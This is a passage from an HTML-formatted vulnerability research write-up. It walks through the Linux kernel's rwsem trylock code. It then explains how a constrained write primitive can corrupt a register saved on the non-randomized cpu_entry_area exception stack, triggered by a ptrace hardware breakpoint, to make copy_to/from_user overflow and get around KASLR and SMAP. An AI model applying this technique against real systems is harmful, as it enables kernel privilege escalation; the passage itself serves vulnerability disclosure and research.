font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">int</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #0055aa; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">__down_read_trylock</span><span style="color: #616161; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="color: #9c27b0; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">struct</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #0055aa; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">rw_semaphore</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">*</span><span style="color: #0055aa; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">sem</span><span style="color: #616161; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">)</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #616161; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">{</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="color: #9c27b0; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">long</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #0055aa; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">tmp</span><span style="color: #616161; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="color: #0055aa; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">DEBUG_RWSEMS_WARN_ON</span><span style="color: #616161; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="color: #0055aa; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">sem-</span><span style="color: #616161; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">></span><span style="color: #0055aa; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">magic</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #0055aa; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">!</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #0055aa; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">sem,</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #0055aa; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">sem</span><span style="color: #616161; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">);</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="color: #0055aa; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">tmp</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #0055aa; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">atomic_long_read</span><span style="color: #616161; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">&</span><span style="color: #0055aa; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">sem-</span><span style="color: #616161; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">></span><span style="color: #0055aa; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">count</span><span style="color: #616161; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">);</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="color: #9c27b0; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">while</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #616161; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="color: #0055aa; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">!</span><span style="color: #616161; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="color: #0055aa; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">tmp</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">&</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #0055aa; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">RWSEM_READ_FAILED_MASK</span><span style="color: #616161; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">))</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #616161; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">{</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="color: #9c27b0; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">if</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #616161; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="color: #0055aa; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">atomic_long_try_cmpxchg_acquire</span><span style="color: #616161; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">&</span><span style="color: #0055aa; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">sem-</span><span style="color: #616161; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">></span><span style="color: #0055aa; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">count,</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">&</span><span style="color: #0055aa; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">tmp,</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #0055aa; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">tmp</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">+</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #0055aa; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">RWSEM_READER_BIAS</span><span style="color: #616161; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">))</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #616161; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">{</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="color: #0055aa; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">rwsem_set_reader_owned</span><span style="color: #616161; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="color: #0055aa; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">sem</span><span style="color: #616161; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">);</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="color: #9c27b0; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">return</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #f57d02; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">1</span><span style="color: #616161; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="color: #616161; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">}</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="color: #616161; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">}</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="color: #9c27b0; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">return</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #f57d02; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0</span><span style="color: #616161; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #616161; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">}</span></p><br /><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">It was helpful to emulate the </span><span style="background-color: #ea9999; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">down_read_trylock()</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> in unicorn to determine how it behaves when given different </span><span style="background-color: #b4a7d6; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">sem->count</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> values. Assuming this code is operating on inert and unchanging memory, it will increment </span><span style="background-color: #b4a7d6; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">sem->count</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> by 0x100 if the 3 least significant bits and the most significant bit are all unset. That means it is difficult to modify a kernel pointer and we cannot modify any non 8-byte aligned values (as they’ll have one or more of the bottom three bits set). Additionally, this semaphore is later unlocked, causing whatever write we perform to be reverted in the imminent future. Furthermore, at this point we don’t have an established strategy for determining the KASLR slide nor figuring out the addresses of any objects we might want to overwrite with our newfound primitive. It turns out that regardless of any randomization the kernel presently has in place, there’s a straightforward strategy for exploiting this bug even given such a constrained arbitrary write.</span></p><h2 dir="ltr" style="line-height: 1.38; margin-bottom: 6pt; margin-top: 18pt;"><span style="font-family: Arial; font-size: 16pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 400; vertical-align: baseline; white-space: pre-wrap;">Stack corruption…</span></h2><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">On x86-64 Linux, when the CPU performs certain interrupts and exceptions, it will swap to a respective stack that is mapped to a static and non-randomized virtual address, with a different stack for the different exception types. A brief documentation of those stacks and their parent structure, the </span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">cpu_entry_area</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">, can be found </span><a href="https://docs.kernel.org/x86/pti.html" style="text-decoration-line: none;"><span style="color: #1155cc; font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">here.</span></a><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> These stacks are most often used on entry into the kernel from userland, but they’re used for exceptions that happen in kernel mode as well. We’ve recently seen </span><a href="https://google.github.io/kctf/vrp.html" style="text-decoration-line: none;"><span style="color: #1155cc; font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">KCTF</span></a><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> entries where attackers take advantage of the non-randomized </span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">cpu_entry_area</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> stacks in order to access data at a known virtual address in kernel accessible memory even in the presence of SMAP and KASLR. You could also use these stacks to forge attacker-controlled data at a known kernel virtual address. This works because the attacker task’s general purpose register contents are pushed directly onto this stack when the switch from userland to kernel mode occurs due to one of these exceptions. This also occurs when the kernel itself generates an Interrupt Stack Table exception and swaps to an exception stack - except in that case, kernel GPR’s are pushed instead. These pushed registers are later used to restore kernel state once the exception is handled. In the case of a userland triggered exception, register contents are restored from the task stack.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">One example of an IST exception is a DB exception which can be triggered by an attacker via a hardware breakpoint, the associated registers of which are described </span><a href="https://pdos.csail.mit.edu/6.828/2004/readings/i386/s12_02.htm" style="text-decoration-line: none;"><span style="color: #1155cc; font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">here</span></a><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">. Hardware breakpoints can be triggered by a variety of different memory access types, namely reads, writes, and instruction fetches. These hardware breakpoints can be set using </span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">ptrace(2)</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">, and are preserved during kernel mode execution in a task context such as during a syscall. That means that it’s possible for an attacker-set hardware breakpoint to be triggered in kernel mode, e.g. during a </span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">copy_to</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">/</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">from_user</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> call. The resulting exception will save and restore the kernel context via the aforementioned non-randomized exception stack, and that kernel context is an exceptionally good target for our arbitrary write primitive.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Any of the registers that </span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">copy_to</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">/</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">from_user</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> is actively using at the time it handles the hardware breakpoint are corruptible by using our arbitrary-write primitive to overwrite their saved values on the exception stack. In this case, the size of the </span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">copy_user</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> call is the intuitive target. The size value is consistently stored in the </span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">rcx</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> register, which will be saved at the same virtual address every time the hardware breakpoint is hit. After corrupting this saved register with our arbitrary write primitive, the kernel will restore </span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">rcx</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> from the exception stack once it returns back to </span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">copy_to</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">/</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">from_user</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">. Since </span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">rcx</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> defines the number of bytes </span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">copy_user</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> should copy, this corruption will cause the kernel to illicitly copy too many bytes between userland and the kernel.</span></p><h2 dir="ltr" style="line-height: 1.38; margin-bottom: 6pt; margin-top: 18pt;"><span style="font-family: Arial; font-size: 16pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 400; vertical-align: baseline; white-space: pre-wrap;">…begets stack corruption</span></h2><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 